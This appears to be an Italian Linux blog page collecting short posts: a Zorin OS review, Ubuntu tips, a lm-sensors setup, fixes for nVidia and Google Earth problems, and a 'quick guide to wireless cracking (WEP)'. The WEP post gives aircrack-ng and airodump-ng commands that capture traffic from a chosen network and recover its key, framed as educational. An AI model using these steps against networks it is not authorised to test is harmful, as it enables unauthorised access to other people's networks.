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ZorinOS, Ubuntu ha messo le ali

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In circolazione dal 2014 questa affidabile e leggera distro Ubuntu based si caratterizza per velocità e leggerezza, qualità che la rendono perfetta per tutti i PC, anche i più datati.

Zorin OS è adatta ai principianti come agli utenti più smaliziati, la dotazione software è coerente con le varie versioni disponibili e generalmente più che soddisfacente.

Per ottenere il massimo in termini di prestazioni è consigliabile disattivare gli effetti grafici, comunque mai troppo pesanti nella configurazione di default (installazione di Zorin OS 10 64 Bit su Cpu Core 2 Duo @ 2,4 Ghz, 4 Gb RAM DDR3, 256 Mb nVidia Graphic Card).

Alle due alternative free (Lite e Core) disponibili nelle versioni 9 e 10 -basate rispettivamente su Ubuntu 15.04 (Vivid Vervet) e Ubuntu 15.10 (Wily Werewolf)– si aggiungono Educational (32 Bit e 64 Bit) e Educational Lite (solo a 32 Bit) disponibili però solo nella versione 9.

Completano l’offerta due versioni a pagamento studiate per il business, Zorin OS 9 Business (32 Bit e 64 Bit) a €8,99 e  Zorin OS 9 Ultimate (32 Bit e 64 Bit) a €9,99.

In definitiva la distro ideale per gli amanti di Ubuntu e della velocità!

Per approfondimenti, dettagli tecnici, specifiche e altro, ecco una selezione di link che riguardano GNU/Linux Zorin OS:

# Pagina Ufficiale

# Zorin OS su Distro Watch

# Zorin OS sul Wiki di Ubuntu

Ubuntu avra’ una nuova release ogni mese?

E’ stato proposto da parte di Scott James Remnant, ex Ubuntu Developer Manager di Canonical e attuale leader del Ubuntu Technical Board, di adottare un ciclo di rilascio per Ubuntu a cadenza mensile al posto dell’attuale rilascio semestrale.

Questo per evitare, come succede adesso, che importanti aggiornamenti di versione di software e componenti vengano inseriti nelle nuove versioni di Ubuntu quando ancora immaturi per un uso stable.

Via: Slashdot

Monitorare le temperature dell’hardware

Per tenere sotto controllo le temperature delle piu’ importanti componenti hardware del computer abbiamo bisogno di alcuni pacchetti che si installano con il seguente comando:

sudo apt-get install lm-sensors sensors-applet

Finita l’installazione eseguire il comando:

sudo sensors-detect

Rispondere YES (o SI se è Ubuntu in italiano) a tutte le domande.

Verificare che la rilevazione delle temperature avvenga correttamente digitando il comando:

sensors

Se si visualizza un output simile al seguente significa che l’installazione è andata a buon fine:

user@universe:~$ sensors
atk0110-acpi-0
Adapter: ACPI interface
Vcore Voltage: +1.16 V (min = +0.85 V, max = +1.60 V)
+3.3 Voltage: +3.25 V (min = +2.97 V, max = +3.63 V)
+5 Voltage: +5.11 V (min = +4.50 V, max = +5.50 V)
+12 Voltage: +11.93 V (min = +10.20 V, max = +13.80 V)
CPU FAN Speed: 1864 RPM (min = 600 RPM)
CHASSIS1 FAN Speed:1917 RPM (min = 600 RPM)
CHASSIS2 FAN Speed:2163 RPM (min = 600 RPM)
POWER FAN Speed: 0 RPM (min = 600 RPM)
CPU Temperature: +32.0°C (high = +60.0°C, crit = +95.0°C)
MB Temperature: +37.0°C (high = +45.0°C, crit = +95.0°C)

Effettuare il logout e di nuovo il login per caricare le applet dei sensori.

Aggiungere le icone dei sensori alla barra del desktop cliccando col tasto destro su un punto vuoto della barra e selezionando Add to panel (aggiungi al pannello). Scorrere le voci o usare il campo di ricerca per individuare Hardware Sensors Monitor e cliccare su Add (aggiungi). Per modificare le opzioni delle applet cliccare col destro sull’icona e selezionare Preferences (preferenze).

Guida rapida al wireless cracking (WEP)

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Note: La presente guida è pubblicata esclusivamente a scopo didattico. Collegarsi a reti wireless senza l’autorizzazione del proprietario costituisce reato punibile penalmente. Il WEP è stato dichiarato non sicuro da anni, la sua diffusione attuale è molto limitata. Se la vostra rete wireless è cifrata utilizzando il WEP dovreste immediatamente proteggervi utilizzando la cifratura WPA o WPA2. Gli output del terminale sono stati in alcuni casi semplificati rimuovendo informazioni non rilevanti allo scopo di migliorare leggibilita’ e comprensione della guida.
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Guida rapida al wireless cracking (WEP) – Prima parte

Per craccare una rete wireless con cifratura WEP sono sufficienti un pc dotato di scheda di rete Wi-Fi e un programma di nome aircrack-ng (ng sta per New Generation, essendo questa una versione aggiornata e piu’ evoluta di aircrack).

1) Installare aircrack-ng:

sudo apt-get install aircrack-ng

2) Avviare la modalita’ di monitoraggio (monitor mode):
Prima occorre disabilitare la scheda wireless:

sudo airmon-ng stop wlan0

Poi va riavviata in monitor mode:

sudo airmon-ng start wlan0

Nell’esempio il nome della scheda di rete è wlan0. Su un pc dotato di una scheda ethernet piu’ una wireless solitamente il nome è wlan0. Per trovare il nome della scheda di rete digitare da terminale il seguente comando:

ifconfig -a

Ecco l’output:

$ ifconfig -a
eth0      Link encap:Ethernet  HWaddr 00:00:00:00:00:00
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:22937 errors:0 dropped:0 overruns:0 frame:0
TX packets:19393 errors:0 dropped:0 overruns:0 carrier:1
collisions:0 txqueuelen:1000
RX bytes:22963442 (22.9 MB)  TX bytes:2411958 (2.4 MB)

wlan0     Link encap:Ethernet  HWaddr 00:00:00:00:00:00
UP BROADCAST MULTICAST  MTU:1500  Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

3) Visualizziamo le reti wireless intorno a noi con il comando:

sudo airodump-ng wlan0

Come si vede ci sono due reti, una con cifratura WPA mentre l’altra usa il WEP. I dati interessanti ai fini di questa guida sono:

* il campo BSSID, che mostra gli indirizzi MAC dei router/ap

* CH che è il canale di trasmissione

* ESSID che è il nome della rete wireless

Individuata la rete da attaccare, possiamo metterci all’opera iniziando a sniffare i pacchetti con:

sudo airodump-ng -c x –bssid xx:xx:xx:xx:xx:xx -w dump wlan0

Inserire al posto delle x i valori corretti di canale (CH) e BSSID.
Una volta sniffato un numero sufficiente di pacchetti, lanciare aircrack-ng sul file .cap generato nella home utente da airodump-ng:

sudo aircrack-ng -b xx:xx:xx:xx:xx:xx dump-01.cap

Ed ecco la chiave in formato HEX.

Ubuntu 10.10 e schede video nVidia: risolvere il problema dello schermo nero

L’altra sera ho vuto la bella idea di aggiornare Ubuntu sul mio computer principale dalla versione 10.04 alla 10.10.

E’ andato tutto bene, tranne per il fatto che lo schermo rimaneva nero… La scheda video è una nVidia 8400GS.

Per risolvere questo fastidioso problema ho eseguito i seguenti passaggi:

1) avviare il computer
2) tenere premuto il tasto MAIUSC per visualizzare il menu di GRUB
3) all’apparire del menu selezionare l’opzione per accedere al terminale come root con internet attivo
4) digitare il seguente comando:

do-release-upgrade

5) seguire le istruzioni a schermo

Alla fine di tutto il processo di aggiornamento saremo passati dalla versione 10.10 alla 11.04, i problemi di video saranno spariti e ritroveremo tutti i nostri dati e le impostazioni.

Ubuntu: soluzione all’errore “Google Earth has caught signal 11”

Avete appena installato Google Earth su Ubuntu e all’avvio il programma si chiude improvvisamente?

Provate a lanciarlo da terminale digitando:

googleearth

se appaiono i seguenti messaggi di errore:

(process:1805): GLib-GObject-CRITICAL **: /build/buildd/glib2.0-2.24.1/gobject/gtype.c:2706: You forgot to call g_type_init()

(process:1805): GLib-CRITICAL **: g_once_init_leave: assertion `initialization_value != 0' failed

(process:1805): GLib-GObject-CRITICAL **: g_object_new: assertion `G_TYPE_IS_OBJECT (object_type)' failed
Google Earth has caught signal 11.

dovrebbe essere sufficiente disabilitare la schermata dei suggerimenti che appare all’avvio. Per fare ciò occorre editare il file:

GoogleEarthPlus.conf

che si trova in:

/home/nome_utente/.config/Google

aggiungendo dopo la sezione:

lastTip=10 (il valore numerico potrebbe essere differente)

la seguente stringa:

enableTips=false

Adesso Google Earth dovrebbe funzionare alla perfezione.

Fonte